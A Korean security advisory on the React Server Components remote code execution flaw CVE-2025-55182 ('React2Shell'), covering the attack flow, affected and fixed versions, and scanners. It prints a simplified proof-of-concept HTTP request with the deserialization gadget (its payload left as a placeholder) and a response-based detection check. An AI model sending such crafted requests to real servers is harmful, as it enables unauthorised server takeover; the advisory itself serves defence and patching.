React 서버 컴포넌트 원격코드 실행 취약점(CVE-2025-55182)
수백만 웹사이트에서 사용되는 React 오픈소스 소프트웨어에서 **최고 위험 등급의 원격 코드 실행(RCE) 취약점, 'React2Shell'**이 발견되어 전 세계적인 보안 비상이 걸렸습니다. 이 취약점은 Log4j 사태 이후 '최악의 취약점'으로 불리며, 한국의 18만 대 서버가 실제 공격에 무방비로 노출된 심각한 상황입니다.

□ 개요
CVE-2025-55182는 React 서버 컴포넌트(RSC)에 존재하는 사전 인증 원격 코드 실행(RCE) 취약점으로, CVSS 10.0 (치명적) 등급이 부여된 2025년 최악 수준의 웹 애플리케이션 취약점입니다.
인증되지 않은 공격자가 특수 제작된 HTTP 요청만으로 서버에서 임의의 시스템 명령을 실행할 수 있으며, React 서버 함수를 직접 사용하지 않더라도 RSC를 지원하는 프레임워크 자체만 사용해도 취약할 수 있습니다.
□ 취약점 개요
| 항목 | 내용 |
| CVE | CVE-2025-55182 |
| 취약점 유형 | 사전 인증 원격 코드 실행 (Pre-auth RCE) |
| 핵심 원인 | 서버 함수 요청 페이로드의 안전하지 않은 역직렬화(Unsafe Deserialization) |
| 공격 벡터 | 인증 없이 특수 HTTP 요청 전송 |
| 영향 | 서버 권한 획득, 시스템 완전 장악 가능 |
| CVSS 점수 | 10.0 (치명적) |
| CVSS 벡터 | AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H |
※ React 서버 함수를 직접 구현하지 않았더라도, RSC를 지원하는 프레임워크나 번들러를 사용 중이면 취약할 수 있습니다.
□ 공격흐름
React Server Components 취약점은 “React 서버가 믿고 받아들이는 데이터를 꾸며서, 서버 안에서 코드가 실행되게 만드는 공격
① 공격자가 React 서버에 정상 요청처럼 보이는 HTTP 요청을 보낸다.
② 그 안에는 React Server Components(RSC)용으로 꾸며진 JSON 데이터가 들어 있다.
③ 서버는 이 데이터를 “React가 만든 정상 데이터겠지”라고 믿고 그대로 복원(역직렬화) 한다.
④ 이 과정에서 공격자가 심어둔 자바스크립트 코드가 서버 안에서 실행된다.
⑤ 실행 결과는 리다이렉트 헤더 등 정상 기능에 섞여서 응답으로 되돌아온다.
□ 예시 POC 요청(Request) 헤더
실제 공격 테스트에 쓰이는 HTTP 요청을 아주 단순화한 예시
- “공격자는 위처럼 정상 RSC 요청인 척하는 HTTP 요청을 보내고, 그 안에 _prefix 등 내부 필드에 악성 코드를 심어 서버가 그대로 실행하도록 만듭니다.”
POST / HTTP/1.1
Host: vulnerable-react-app.com
Next-Action: x
X-Nextjs-Request-Id: abcd1234
X-Nextjs-Html-Request-Id: xyz987654321
Content-Type: multipart/form-data; boundary=----MyBoundary
------MyBoundary
Content-Disposition: form-data; name="0"
{
"status": "resolved_model",
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "/* 여기 안에 서버에서 실행될 JS 코드가 들어감 */",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------MyBoundary
Content-Disposition: form-data; name="1"
"$@0"
------MyBoundary
Content-Disposition: form-data; name="2"
[]
------MyBoundary--
POST / HTTP/1.1
→ “이 주소(/)로 데이터를 보내는 요청이다.”
Next-Action, X-Nextjs-Request-Id
→ “Next.js(React 기반 프레임워크)가 서버 함수 요청을 구분할 때 쓰는 헤더다.”
Content-Type: multipart/form-data; ...
→ “파일 업로드나 폼 전송에 쓰이는 형식인데, 여기서는 React용 데이터를 담는 그릇 역할만 하고 있다.”
name="0"에 들어간 JSON
→ “겉으로는 그냥 JSON처럼 보이지만, 실제로는 React Server Components가 내부에서 쓰는 구조를 흉내 낸 것”
→ 그 안에 있는 _response._prefix가 서버에서 실행되는 코드로 연결되는 부분이다.
□ 예시 POC 응답(Response) 헤더
공격자는 단순히 “서버가 에러를 냈다” 정도로 끝내지 않고, 정말로 서버 안에서 코드가 실행됐는지를 확인해야 합니다.
- React/Next.js는 페이지 이동을 위해 리다이렉트 정보를 헤더에 담아 보내는데, 이걸 “몰래 결과값을 전달하는 통로”로 활용합니다.
- 예를 들면, 테스트용으로 서버에서 12345 * 67890 같은 곱셈을 시켜놓고,그 결과를 /login?a=곱셈결과 에 붙여서 돌려보내게 만드는 식입니다.
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Action-Redirect: /login?a=838102050
X-Nextjs-RSC: 1
...
<html>...</html>
X-Action-Redirect: /login?a=838102050
- 원래는 **“/login 페이지로 이동하라”**는 정상적인 기능용 헤더이며, 여기 a=838102050 값이 실제로는 서버에서 실행한 곱셈 결과
→ 즉 이 숫자가 우리가 의도한 계산 결과와 똑같다면, “서버 안에서 우리가 시킨 코드(곱셈)가 실제로 실행됐다” → RCE 성공
그래서 보안 연구자들은, 요청에서 40000 × 42051 같은 랜덤 숫자를 보낸 뒤, 응답 헤더의 /login?a=XXXX 값이 그 곱셈 결과와 같으면
→ 이 서버는 React RCE 취약점에 노출되어 있다고 판단합니다.
※ 최종 플로우 정리
① 공격자는 React Server Components 서버에게 “정상 요청인 척 하면서 사실은 조작된 데이터”를 보냅니다.
② 서버는 그 데이터를 그대로 믿고 복원하면서, 내부에서 사용하는 코드 실행 부분에 공격자가 넣은 값을 연결해 버립니다.
③ 그 결과, 서버 안에서 운영체제 명령이나 자바스크립트 코드가 실행되고, 그 실행 결과는 리다이렉트 헤더(X-Action-
Redirect) 처럼 보이는 응답 속에 숨어서 돌아옵니다.
□ 영향받는 제품 및 해결 방안
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2025-55182 | react-server-dom-webpack | 19.0 | 19.0.1 |
| 19.1.0 ~ 19.1.1 | 19.1.2 | ||
| 19.2.0 | 19.2.1 | ||
| react-server-dom-parcel | 19.0 | 19.0.1 | |
| 19.1.0 ~ 19.1.1 | 19.1.2 | ||
| 19.2.0 | 19.2.1 | ||
| react-server-dom-turbopack | 19.0 | 19.0.1 | |
| 19.1.0 ~ 19.1.1 | 19.1.2 | ||
| 19.2.0 | 19.2.1 | ||
| Next.js | 14.3.0-canary.77 이상 | 최신 안정 버전으로 다운그레이드 권고 (14.x) |
|
| 15.0.x | 15.0.5 | ||
| 15.1.x | 15.1.9 | ||
| 15.2.x | 15.2.6 | ||
| 15.3.x | 15.3.6 | ||
| 15.4.x | 15.4.8 | ||
| 15.5.x | 15.5.7 | ||
| 16.0.x | 16.0.7 |
※ RSC를 사용하지 않는 환경은 영향 없음
※ 하단의 참고사이트를 확인하여 업데이트 수행 [1][2]
※ NIST에서 CVE-2025-66478은 CVE-2025-55182와 동일 취약점으로 중복 처리하여 정보 삭제됨
□ React 영향 프레임워크 상세 정보
| 프레임워크 / 도구 | 주요 역할 및 특징 | React 연관성 (RSC 모드) |
| Next.js (App Router) | React 기반의 풀스택 웹 애플리케이션 프레임워크입니다. 파일 시스템 기반 라우팅을 사용하며, App Router에서 RSC를 핵심적으로 채택했습니다. | RSC를 이용한 서버 렌더링, 정적 생성, 데이터 페칭 기능을 제공하여 성능을 최적화합니다. |
| React Router (RSC 모드) | React 애플리케이션을 위한 클라이언트 측 라우팅 라이브러리입니다. RSC 모드는 서버 컴포넌트 환경에서의 라우팅을 지원하기 위해 설계되었습니다. | RSC 환경에서 데이터 로딩과 라우팅을 통합하여 클라이언트-서버 간 전환을 최적화하는 방식을 연구/제공합니다. |
| Expo | React Native 기반의 모바일 및 웹 애플리케이션 개발 프레임워크입니다. | Expo Router를 통해 Next.js의 파일 시스템 라우팅 및 RSC와 유사한 서버 측 기능을 모바일/크로스 플랫폼 환경에 도입하고 있습니다. |
| RedwoodJS | React, GraphQL, TypeScript를 기반으로 하는 풀스택 웹 애플리케이션 프레임워크입니다. | RSC 아키텍처를 통합하여 개발자들이 서버와 클라이언트 기능을 더욱 쉽게 결합할 수 있도록 지원하고 있습니다. |
| Waku | RSC를 기반으로 구축된 경량의 React 프레임워크/보일러플레이트입니다. | RSC의 원칙을 사용하여 최소한의 클라이언트 측 JavaScript로 빠른 성능의 애플리케이션을 만드는 데 중점을 둡니다. |
| @vitejs/plugin-rsc | Vite 빌드 도구에서 React Server Components를 지원하기 위한 플러그인입니다. | 개발자가 Vite 환경에서 RSC를 사용하여 프로젝트를 설정하고 빌드할 수 있도록 빌드 파이프라인을 제공합니다. |
| @parcel/rsc | Parcel 빌드 도구에서 React Server Components를 지원하기 위한 기능 또는 플러그인입니다. | Parcel 환경에서 RSC 코드 분할 및 번들링을 처리하여 RSC 기반 애플리케이션의 최적화된 배포를 가능하게 합니다. |
□ 참고사이트
[1] https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-55182
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-66478
□ 취약점 점검 및 지원 배포 사이트
- CVE-2025-55182, CVE-2025-66478 점검 도구 배포 안내 (다운로드) - 파이오링크
- Nuclei 취약점 스캐너 - CVE-2025-55182.yaml - 깃허브
- React2Shell (CVE-2025-55182) 취약점 스캐너 - 티오리
- React2Shell (CVE-2025-55182) 취약점 스캐너 - 로그프레소
□ 관련기사
- 수백만 웹사이트서 쓰이는 ‘리액트’, 최고 위험도 보안 취약점 발견 - 아이티데일리
- [단독] “Log4j 이후 ‘최악의 취약점’ 터졌다”...중국 해커, React2Shell RCE 실제 공격 테스트 돌입, 한국 18만대 서버 공격에 무방비 - 데일리시큐
- 7000만 웹사이트 위협하는 Next.js·React 취약점···SBOM, 해결책 되나 - 데이터넷
감사합니다.